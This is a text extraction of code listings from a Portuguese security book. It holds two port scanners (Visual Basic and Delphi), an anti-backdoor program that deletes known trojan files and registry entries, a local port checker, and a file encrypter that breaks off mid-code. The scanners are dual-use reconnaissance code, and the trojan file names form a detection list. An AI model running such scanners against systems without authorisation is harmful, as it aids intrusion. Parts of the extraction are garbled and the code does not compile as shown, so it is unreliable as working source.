NumWait As Integer 'how many secs to wait for response UpperB As Integer HWND_TOP = 0 HWND_TOPMOST = -1 HWND_NOTOPMOST = -2 SWP_NOMOVE = &H2 SWP_NOSIZE = &H1 flags = SWP_NOMOVE Or SWP_NOSIZE

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Dim LowerB As Integer Dim PortFound As Boolean Dim StopSrch As Boolean Dim FirstRun As Boolean Dim StopIt As Boolean Sub stayontop(the As Form) SetWinOnTop = SetWindowPos(the.hWnd, HWND_TOPMOST, 0, 0, 0, 0, flags) End Sub Private Sub Command1_Click() If sock.State <> 0 Then sock.Close Do Until sock.State = 0 DoEvents Loop End If If Command1.Caption = "Start" Then Command1.Caption = "Stop" PortFound = False FirstRun = True If Check1.Value = 1 Then StopSrch = True Else StopSrch = False End If If Option2.Value = True Then If Text2.Text <> "" And Text3.Text <> "" Then UpperB = Int(Val(Text3.Text)) LowerB = Int(Val(Text2.Text)) Else MsgBox "Must Specify Ports To Find", vbExclamation + vbMsgBoxSetForeground + vbOKOnly, "Port Finder" End If ElseIf Option1.Value = True Then UpperB = 32767 LowerB = 1 End If If Text4.Text = "" Then Text4.Text = "5" End If NumWait = Int(Val(Text4.Text)) Label2.Caption = "Scanning Ports..." sock.Remote Host = Text1.Text sock.LocalPort = 0 For qw% = LowerB To UpperB If StopIt = True Then Command1.Caption = "Start"

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA Label2.Caption = "Canceled...No Connections" StopIt = False Exit Sub End If sock.Connect sock.RemoteHost, qw% start = 0 start = (Timer) Do Until sock.State = 7 If StopIt = True Then Command1.Caption = "Start" Label2.Caption = "Canceled...No Connections" StopIt = False Exit Sub End If DoEvents If (Timer) - (start) >= NumWait Then sock.Close Do Until sock.State = 0 DoEvents If StopIt = True Then Command1.Caption = "Start" Label2.Caption = "Canceled...No Connections"

StopIt = False Exit Sub End If Loop Exit Do End If Loop If sock.State = 7 Then If FirstRun = True Then Label2.Caption = "Open port found: " & qw% Else Label2.Caption = Label2.Caption & ", " & qw% End If PortFound = True FirstRun = False sock.Close Do Until sock.State = 0 DoEvents Loop If StopSrch = True Then Exit For End If End If Next qw% If PortFound = False Then Label2.Caption = "No Ports Found" End If Label2.Captio n = Label2.Captio n & " ...Done" Else 'stop StopIt = True End If If Command1.Caption = "Start" Then Command1.Caption = "Stop" Exit Sub ElseIf Command1.Caption = "Stop" Then Command1.Caption = "Start" End If End Sub Private Sub Command2_Click() End Sub

81

82


Private Sub Form_Activate() stayontop Me End Sub Private Sub Form_Load() StopIt = False sock.Protocol = sckTCPProtocol Me.Visible = True stayontop Me End Sub Private Sub Form_Resize() stayontop Me End Sub Private Sub Form_Unload(Cancel As Integer) sock.Close Do Until sock.State = 0 DoEvents Loop Cancel = False End Sub Private Sub Label2_Click() MsgBox "" & Label2.Caption & "", vbMsgBoxSetForeground + vbOKOnly, "Port Finder" End Sub


unit mpsunit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ScktComp; type TForm1 = class(TForm) Bevel1: TBevel; Bevel2: TBevel; Label1: TLabel; Edit1: TEdit; Label2: TLabel; Edit2: TEdit; Edit3: TEdit; Label3: TLabel; Bevel3: TBevel; Button1: TButton; Button2: TButton; Button3: TButton; Button4: TButton; Bevel4: TBevel; Edit4: TEdit; ListBox1: TListBox; ps: TClientSocket; procedure Button1Click(Sender: TObject); procedure psConnect(Sender: TObject; Socket: TCustomWinSocket); procedure psError(Sender: TObject; Socket: TCustomWinSocket;

ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button4Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; portno:integer; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin button1.enabled:=false; edit1.enabled:=false; edit2.enabled:=false; edit3.enabled:=false; edit4.enabled:=false; button2.enabled:=true; portno:=strtoint(edit2.text); ps.address:=edit1.text; ps.port:=portno; ps.active:=true; end; procedure TForm1.psConnect(Sender: TObject; Socket: TCustomWinSocket);

label son;

83

84


begin listbox1.items.add('Connect on Port: '+inttostr(portno)); ps.active:=false; portno:=portno+1; if portno > strtoint(edit3.text) then goto son else ps.address:=edit1.text; ps.port:=portno; ps.active:=true; son: end; procedure TForm1.psError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); label son; begin errorcode:=0; edit4.text:='Scanned Port No: '+inttostr(portno); ps.active:=false; portno:=portno+1; if portno > strtoint(edit3.text) then goto son else ps.address:=edit1.text; ps.port:=portno; ps.active:=true; son: end; procedure TForm1.Button2Click(Sender: TObject); begin portno:=strtoint(edit3.text); button1.enabled:=true; edit1.enabled:=true; edit2.enabled:=true; edit3.enabled:=true; edit4.enabled:=true; button2.enabled:=false; end; procedure TForm1.Button3Click(Sender: TObject); begin edit4.text:=''; listbox1.items.clear; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin ps.active:=false; end; procedure TForm1.Button4Click(Sender: TObject); begin ShowMessage(' Meliksah Port Scanner v0.1 Beta'+#13+ '(C)opyright 1999 Meliksah Ozoral'+#13+ ' All Rights Reserved '+#13+#13+ ' http://www.mi msa.com/meliksa h '+#13+ ' mozoral@mimsa. com '); end; end.


85

Página 380

Attribute VB_Name = "ANTIBACK" Option Explicit ' Rotinas Diversas Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" _ (ByVal lpBuffer As String, ByVal nSize As Long) As Long Declare Function GetWindowsDirectory Lib "kernel32.dll" "GetWindowsDirectoryA" _ (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Alias

Declare Function ExitWindowsEx Lib "user32" _ (ByVal uFlags As Long, ByVal dwReserved As Long) As Long ' Trabalhar com o Registry do Windows Public Const REG_SZ As Long = 1 Public Const REG_BINARY As Long = 3 Public Const REG_DWORD As Long = 4 Public Public Public Public

Const Const Const Const

HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_USER = &H80000001 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003

Public Public Public Public Public Public Public Public Public Public Public Public Public

Const Const Const Const Const Const Const Const Const Const Const Const Const

ERROR_NONE = 0 ERROR_BADDB = 1 ERROR_BADKEY = 2 ERROR_CANTOPEN = 3 ERROR_CANTREAD = 4 ERROR_CANTWRITE = 5 ERROR_OUTOFMEMORY = 6 ERROR_INVALID_PARAMETER = 7 ERROR_ACCESS_DENIED = 8 ERROR_INVALID_PARAMETERS = 87 ERROR_NO_MORE_ITEMS = 259 KEY_ALL_ACCESS = &H3F REG_OPTION_NON_VOLATILE = 0

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" _ (ByVal hKey As Long, ByVal lpSubKey As String, _ ByVal Reserved As Long, ByVal lpClass As String, _ ByVal dwOptions As Long, ByVal samDesired As Long, _ ByVal lpSecurityAttributes As Long, phkResult As Long, _ lpdwDisposition As Long) As Long Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _ (ByVal hKey As Long, ByVal lpSubKey As String, _ ByVal ulOptions As Long, ByVal samDesired As Long, _ phkResult As Long) As Long Public Declare Function RegQueryValueExString Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal lpReserved As Long, lpType As Long, _


86

ByVal lpData As String, lpcbData As Long) As Long Public Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal lpReserved As Long, lpType As Long, _ lpData As Long, lpcbData As Long) As Long Public Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal lpReserved As Long, lpType As Long, _ ByVal lpData As Long, lpcbData As Long) As Long Public Declare Function RegSetValueExString Lib "advapi32.dll" "RegSetValueExA" _ (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpValue As String, ByVal cbData As Long) As Long

Alias

Public Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" _ (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, _ ByVal cbData As Long) As Long Public Function Long, _

SetValueEx(ByVal

hKey

As

Long,

sValueName

As

String,

lType

As

vValue As Variant) As Long ' Declaracao de Variaveis Dim lValue As Long Dim sValue As String ' Verificacao Select Case lType Case REG_SZ sValue = vValue & Chr$(0) SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue)) Case REG_DWORD lValue = vValue SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4) End Select End Function Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, _ vValue As Variant) As Long On Error GoTo QueryValueExError ' Declaracao de Variaveis Dim cch As Long Dim lrc As Long Dim lType As Long Dim lValue As Long Dim sValue As String Dim nLoop As Long Dim sBinaryString As String ' Determina o Tamanho e o Tipo de Dado a Ler lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)


87

If lrc <> ERROR_NONE Then Error 5 Select Case lType ' Strings ... Case REG_SZ: sValue = String(cch, 0) lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch) If lrc = ERROR_NONE Then vValue = Left$(sValue, cch - 1) Else vValue = Empty End If ' DWORDS ... Case REG_DWORD: lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch) If lrc = ERROR_NONE Then vValue = lValue Case Else ' Todos Outros Tipos de Dados Não Suportados lrc = -1 End Select QueryValueExExit: QueryValueEx = lrc Exit Function QueryValueExError: Resume QueryValueExExit End Function Public Sub CreateNewKey(sNewKeyName As String, lPredefinedKey As Long) Dim hNewKey As Long Dim lRetVal As Long lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal) RegCloseKey (hNewKey) End Sub

0&,

vbNullString,

Public Sub SetKeyValue(sKeyName As String, sValueName As String, vValueSetting As Variant, _ lValueType As Long) Dim lRetVal As Long Dim hKey As Long lRetVal = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting) RegCloseKey (hKey) End Sub Public Sub SetKeyValue2(sKeyName As String, sValueName As String, _ vValueSetting As Variant, lValueType As Long) Dim lRetVal As Long Dim hKey As Long lRetVal = RegOpenKeyEx(HKEY_USERS, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting) RegCloseKey (hKey)


88

End Sub Public Dim Dim Dim

Function QueryValue(sKeyName As String, sValueName As String) As String lRetVal As Long hKey As Long vValue As Variant

lRetVal = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = QueryValueEx(hKey, sValueName, vValue) QueryValue = vValue RegCloseKey (hKey) End Function Public Dim Dim Dim

Function QueryValue2(sKeyName As String, sValueName As String) As String lRetVal As Long hKey As Long vValue As Variant

lRetVal = RegOpenKeyEx(HKEY_USERS, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = QueryValueEx(hKey, sValueName, vValue) QueryValue2 = vValue RegCloseKey (hKey) End Function ' ' Funcao Principal ' Public Sub Main() On Error Resume Next ' Declaracao de Variaveis Dim cDiretorioSystem As String Dim cDiretorioWindows As String Dim cPosicaoRegistry As String Dim cBackdoor As String Dim cTitulo As String Dim cBuffer As String * 255 Dim lDarBoot As Boolean Dim nResposta As Long Dim xRetorno As Variant ' Titulo cTitulo = "Senna Spy Anti-Backdoor 1.0 - By 2801Megazine - Edicao 2, 1998" ' Mensagem MsgBox cTitulo + " - Ativada" ' Obtem o Diretorio System do Windows nResposta = GetSystemDirectory(cBuffer, Len(cBuffer)) cDiretorioSystem = Left(cBuffer, nResposta) + "\" ' Obtem o Diretorio do Windows nResposta = GetWindowsDirectory(cBuffer, Len(cBuffer)) cDiretorioWindows = Left(cBuffer, nResposta) + "\" ' ' Verifica se Existem os Ficheiros das '

´s Backdoor ´s

a Serem Eliminadas

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA ' Aqui, a Exclusão da Back Orifice cBackdoor = cDiretorioSystem + " .EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão da NetBus cBackdoor = cDiretorioWindows + "PATCH.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão do Graffiti Explorer cBackdoor = cDiretorioSystem + "EXPLORER.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão do Sockets de Troie cBackdoor = cDiretorioSystem + "SOCKETS23.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioWindows + "SOCKETS23.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão da The Mask Robot cBackdoor = cDiretorioSystem + "MGADESKDLL.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioSystem + "CSMCTRL32.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioWindows + "RSRCLOAD.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão da Master Paradise cBackdoor = cDiretorioWindows + "SYSEDIT.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioWindows + "KEYHOOK.DLL" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão da WINRUN cBackdoor = cDiretorioWindows + "WINRUN.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioSystem + "WINRUN.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor ' Aqui, a Exclusão da WIN32X cBackdoor = cDiretorioWindows + "WIN32X.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor cBackdoor = cDiretorioSystem + "WIN32X.EXE" SetAttr cBackdoor , vbNormal Kill cBackdoor

89


90

' Flag Para Controlar Se Deve Dar Boot no Micro ou Não lDarBoot = False ' ' Controla o Registry Infinitamente, a Fim de Dectectar Inclusoes ' While True DoEvents ' Verifica se o Back Orifice Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices" If UCase(QueryValue(cPosicaoRegistry, "")) = " .EXE" Then SetKeyValue cPosicaoRegistry, "", "", REG_SZ MsgBox

"ATENCAO:

Back

Orifice

Encontrado

e

Removido

!",

vbOKOnly,

cTitulo lDarBoot = True End If ' Verifica se o NetBus Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue(cPosicaoRegistry, "PATCH")) = "PATCH.EXE" Then SetKeyValue cPosicaoRegistry, "PATCH", "", REG_SZ MsgBox "ATENCAO: lDarBoot = True End If

NetBus Encontrado e Removido !", vbOKOnly, cTitulo

' Verifica se o Graffiti Explorer Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue(cPosicaoRegistry, "EXPLORER")) = "EXPLORER.EXE" Then SetKeyValue cPosicaoRegistry, "EXPLORER", "", REG_SZ MsgBox "ATENCAO:

Graffiti Explorer Encontrado e Removido !", vbOKOnly,

cTitulo lDarBoot = True End If ' Verifica se o The Mask Robot-1 Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue(cPosicaoRegistry, "Load RSRCLOAD")) <> "" Then SetKeyValue cPosicaoRegistry, "Load RSRCLOAD", "", REG_SZ MsgBox "ATENCAO:

The Mask Robot-1 Encontrado e Removido !", vbOKOnly,

cTitulo lDarBoot = True End If ' Verifica se o The Mask Robot-2 Esta Sendo Instalado Neste Momento cPosicaoRegistry = ".Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue2(cPosicaoRegistry, "Load MGADESKDLL")) <> "" Then SetKeyValue2 cPosicaoRegistry, "Load MGADESKDLL", "", REG_SZ MsgBox "ATENCAO:

The Mask Robot-2 Encontrado e Removido !", vbOKOnly,

cTitulo lDarBoot = True End If ' Verifica se o Master Paradise Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"


91

If UCase(QueryValue(cPosicaoRegistry, "SYSEDIT")) = "SYSEDIT.EXE" Then SetKeyValue cPosicaoRegistry, "SYSEDIT", "", REG_SZ MsgBox

"ATENCAO:

Master

Paradise

Encontrado

e Removido !", vbOKOnly,

cTitulo lDarBoot = True End If ' Verifica se o WIN32X Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue(cPosicaoRegistry, "WIN32X")) <> "" Then SetKeyValue cPosicaoRegistry, "WIN32X", "", REG_SZ MsgBox "ATENCAO: lDarBoot = True End If

WIN32X Encontrado e Removido !", vbOKOnly, cTitulo

' Verifica se o WINRUN Esta Sendo Instalado Neste Momento cPosicaoRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" If UCase(QueryValue(cPosicaoRegistry, "WINRUN")) <> "" Then SetKeyValue cPosicaoRegistry, "WINRUN", "", REG_SZ MsgBox "ATENCAO: lDarBoot = True End If

WINRUN Encontrado e Removido !", vbOKOnly, cTitulo

' Necessario dar Boot ? If lDarBoot Then MsgBox "Sera Necessario Resetar o Sistema !", vbOKOnly, cTitulo ' Reseta xRetorno = ExitWindowsEx(67, 0) End If Wend End Sub


92 Página 392

/***** * * portcheck.c - Check if Port is Busy * * - Windows 95, 98, NT and 2000 Compatible * - Borland C++ and LCCWin32 Compilers Tested ! * *****/ #include #include #include /*/////////////////////////////////////////////////////// // // // CheckPortUDP() - Check if UDP Port is Busy or Not // // // ///////////////////////////////////////////////////////*/ int CheckPortUDP( short int nPort ) { struct sockaddr_in nSockServer; WSADATA wsaData; int lBusy = 0; int nSocket; /* Initialization */ if( WSAStartup( 0x0101, &wsaData ) == 0 ) { /* Create Socket */ nSockServer.sin _family = AF_INET; nSockServer.sin _port = htons( nPort ); nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); /* Check UDP Protocol */ nSocket = socket( AF_INET, SOCK_DGRAM, 0 ); lBusy = ( bind( nSocket, (SOCKADDR FAR *) &nSockServer, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ); /* Close Socket if Busy */ if( lBusy ) closesocket( nSocket ); /* Close Winsock */ WSACleanup(); } /* Return */ return( lBusy ); }

/*/////////////////////////////////////////////////////// // // // CheckPortTCP() - Check if TCP Port is Busy or Not // // // ///////////////////////////////////////////////////////*/ int CheckPortTCP( short int nPort )

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA { struct sockaddr_in nSockServer; WSADATA wsaData; int lBusy = 0; int nSocket; /* Initialization */ if( WSAStartup( 0x0101, &wsaData ) == 0 ) { /* Create Socket */ nSockServer.sin _family = AF_INET; nSockServer.sin _port = htons( nPort ); nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); /* Check TCP Protocol */ nSocket = socket( AF_INET, SOCK_STREAM, 0 ); lBusy = ( connect( nSocket, (struct sockaddr *) &nSockServer, sizeof( nSockServer ) ) == 0 ); /* Close Socket if Busy */ if( lBusy ) closesocket( nSocket ); /* Close Winsock */ WSACleanup(); } /* Return */ return( lBusy ); }

/*///////////////////////////// // // // Main Function - Example // // // /////////////////////////////*/ int main() { /* Check for TCP Port */ if( CheckPortTCP( 21 ) ) puts( "FTP Port is Busy !\n" ); else puts( "FTP Port isn't Busy !\n" ); /* Check for UDP Port */ if( CheckPortUDP( 31337 ) ) puts( "BackOrifice Found in your System !" ); else puts( "BackOrifice not found in your System !" ); return 0; }

93

94


Página 418

#include #include #include #include FILE *arq1,*arq2; void mensagem_final() { printf("\n\t\tP rograma desenvolvido por\n"); printf("\t\t APOCALYPSE THE CLAN by\n"); printf("\t\t\tMr DeaTh.\n\n"); printf("\t\t\t\t\t\t\tLooK aROunD, See YoUR EneMY"); fclose(arq1);fclose(arq2); return; } int teste_de_existencia(char n1[],char n2[]) { int vi=1; if ((arq1=fopen(n1,"rb"))==NULL){ printf("O ficheiro %s não foi encontrado.\n",n1);vi=0;} if ((arq2=fopen(n2,"rb"))!=NULL){ printf("O ficheiro %s já existe.\n",n2);vi=0;} if (vi==1){ fclose(arq2); arq2=fopen(n2,"wb");} return vi;} int converte(int y) { int x=y; if (y==65) x=98;if (y==98) x=65; if (y==66) x=105;if (y==105) x=66; if (y==67) x=68;if (y==68) x=67; if (y==69) x=130;if (y==130) x=69; if (y==70) x=40;if (y==40) x=70; if (y==71) x=135;if (y==135) x=71; if (y==72) x=37;if (y==37) x=72; if (y==73) x=164;if (y==164) x=73; if (y==74) x=50;if (y==50) x=74; if (y==75) x=160;if (y==160) x=75; if (y==76) x=99;if (y==99) x=76; if (y==77) x=110;if (y==110) x=77; if (y==78) x=61;if (y==61) x=78; if (y==79) x=144;if (y==144) x=79; if (y==80) x=33;if (y==33) x=80; if (y==81) x=100;if (y==100) x=81; if (y==82) x=63;if (y==63) x=82; if (y==83) x=101;if (y==101) x=83; if (y==84) x=59;if (y==59) x=84; if (y==85) x=149;if (y==149) x=85; if (y==86) x=45;if (y==45) x=86; if (y==87) x=115;if (y==115) x=87; if (y==88) x=47;if (y==47) x=88; if (y==89) x=120;if (y==120) x=89; if (y==90) x=62;if (y==62) x=90; if (y==92) x=102;if (y==102) x=92; if (y==97) x=42;if (y==42) x=97; if (y==103) x=56;if (y==56) x=103; if (y==104) x=48;if (y==48) x=104; if (y==106) x=60;if (y==60) x=106; if (y==107) x=58;if (y==58) x=107; if (y==108) x=46;if (y==46) x=108; if (y==109) x=119;if (y==119) x=109; if (y==111) x=147;if (y==147) x=111; if (y==112) x=32;if (y==32) x=112; if (y==113) x=121;if (y==121) x=113; if (y==114) x=131;if (y==131) x=114; if (y==116) x=118;if (y==118) x=116;


95

if (y==117) x=122;if (y==122) x=117; return x;} int caixa_preta(int t,char n1[],unsigned char n2) { int x; x=(*n1=='e')?t^n2:~(t^(~n2)); return x; } int super(int t,int r1,int r2,int r3,int r4) { int x=converte(t); x=converte(255-x+r1-r2+r3-r4); return x;} char *palavra-chave(char n[]) { char *snh; printf("Escreva a palavra-chave:\n"); scanf("%s",snh); if (*n=='e') printf("\n\t\tCuidado para não esquecer esta palavrachave!\n\n"); return snh;} void main(int n,char *o[]) { int t,r1,r2,r3,r4, e,i=strlen(o[1 ]); if (o[1][0]<97) o[1][0]=o[1][0]+32; if (n!=4 || (*o[1]!='e' && *o[1]!='d') || i!=1) { printf("KRIPT 2.00 Copyright (c) 1997-98 Mr Death\n"); printf("KRIPT Encriptador-Desencriptador de ficheiros texto.\n\n"); printf("Sintaxe: kript \n"); printf(": d -> Desencripta\n") ; printf(" e -> Encripta\n"); printf(": ficheiro a ser lido\n"); printf(": ficheiro a ser criado\n"); } else { randomize(); e=teste_de_existencia(o[2],o[3]); unsigned long c=0,s=filelength(fileno(arq1));char *snh; for (i=0;i<80;i++) snh[i]=0;i=0; if (*o[1]=='e' && e==1) { snh=palavra-chave(o[1]); r1=random(10);r2=random(10);r3=random(20);r4=random(20); fputc(r1+65,arq2);fputc(r2+65,arq2); fputc(r3+65,arq2);fputc(r4+65,arq2); while (c9 || r2<0 || r2>9 || r3<0 || r3>19 || r4<0 || r4>19) printf("O ficheiro %s não foi encriptado com KRIPT.\n",o[2]); else { while (c

Tecnicas Para Hackers - Wilson Oliveira

Recommend Documents